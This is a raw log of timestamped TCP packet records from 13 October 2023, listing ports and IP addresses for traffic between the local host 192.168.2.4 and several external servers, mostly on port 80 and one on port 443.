Oct 13, 2023 16:06:15.734186888 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.734222889 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.734252930 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.795748949 CEST	80	49787	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:15.795831919 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.807828903 CEST	80	49788	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:15.807904005 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.813368082 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.861280918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:15.861315966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:15.867969036 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868009090 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868031979 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868060112 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868074894 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868112087 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868140936 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868177891 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868212938 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868231058 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868253946 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868283987 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868320942 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868366003 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868386984 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868402958 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868417978 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868454933 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868477106 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868508101 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868515968 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868545055 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868586063 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868630886 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868659973 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868695021 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868725061 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868761063 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868834019 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868871927 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.868938923 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.868978024 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.869024992 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.869067907 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.869102955 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.869139910 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.869167089 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.869204998 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:15.869225025 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:15.869260073 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.180541039 CEST	80	49788	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:16.182665110 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.182765961 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.182832003 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.182833910 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.182833910 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.182894945 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.182929039 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.182969093 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183026075 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183062077 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183126926 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183163881 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183207989 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183263063 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183306932 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183343887 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183402061 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183439016 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183515072 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183549881 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183571100 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183607101 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183684111 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183721066 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183763981 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183801889 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183860064 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183895111 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.183926105 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.183962107 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184005976 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184045076 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184089899 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184129953 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184174061 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184211016 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184339046 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184377909 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184420109 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184457064 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184508085 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184545040 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184583902 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184622049 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184664011 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184700012 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184741974 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184777021 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184834957 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184873104 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184900999 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.184937000 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.184978962 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185015917 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185046911 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185082912 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185163975 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185201883 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185234070 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185270071 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185329914 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185374975 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185405970 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185442924 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185467958 CEST	80	49788	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:16.185513973 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.185566902 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185606003 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185811996 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185848951 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185909986 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.185947895 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.185978889 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.186016083 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.186045885 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.186080933 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.186090946 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.186125994 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.186158895 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.186194897 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.186214924 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.186252117 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.204032898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.221447945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.237932920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.237992048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.333585024 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.334155083 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.494963884 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.495079041 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521219969 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521295071 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521310091 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521337986 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521358013 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521378994 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521430016 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521466970 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521466970 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521506071 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521565914 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521609068 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521640062 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521671057 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521677017 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521743059 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521773100 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521786928 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521800041 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521847963 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521852016 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521888971 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.521898031 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521929979 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.521975040 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522017002 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522042036 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522126913 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522166014 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522196054 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522212029 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522242069 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522283077 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522284031 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522322893 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522397041 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522443056 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522458076 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522525072 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522526026 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522578001 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522582054 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522615910 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522648096 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522685051 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522728920 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522768021 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522826910 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522862911 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522869110 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.522910118 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.522965908 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523005962 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523037910 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523075104 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523077965 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523113012 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523134947 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523176908 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523184061 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523226023 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523255110 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523292065 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523318052 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523353100 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523396969 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523436069 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523484945 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523542881 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523931980 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.523967981 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.523999929 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524046898 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524080038 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524126053 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524133921 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524173021 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524193048 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524229050 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524286985 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524295092 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524306059 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524349928 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524395943 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524436951 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524466991 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524521112 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524527073 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524561882 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524590969 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524635077 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524646997 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524688959 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524715900 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524746895 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524760008 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524782896 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524842978 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524885893 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524892092 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.524934053 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.524990082 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525028944 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525059938 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525094032 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525105000 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525131941 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525162935 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525202036 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525204897 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525243998 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525264978 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525300026 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525316954 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525351048 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525357962 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525398970 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525428057 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525470018 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525502920 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525542974 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525567055 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525607109 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525629044 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525681973 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525681973 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525738955 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525752068 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525793076 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525818110 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525856972 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525899887 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.525937080 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.525979042 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526021957 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526065111 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526107073 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526141882 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526182890 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526254892 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526293039 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526336908 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526376009 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526423931 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526468039 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526494026 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526531935 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526546001 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526603937 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526607990 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526642084 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.526662111 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.526714087 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.580867052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599066019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599107027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599159956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599183083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.599204063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599281073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599313021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599325895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.599354982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.599409103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599440098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599481106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.599517107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599596024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.599642038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.646186113 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:16.646234035 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:16.646312952 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:16.669365883 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:16.669400930 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:16.706568956 CEST	80	49789	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:16.706646919 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.710197926 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.724165916 CEST	80	49788	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:16.724973917 CEST	49788	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:16.851025105 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851038933 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851063967 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851151943 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851190090 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851191044 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851191044 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851223946 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851270914 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851299047 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851331949 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851349115 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851363897 CEST	49786	80	192.168.2.4	115.88.24.200
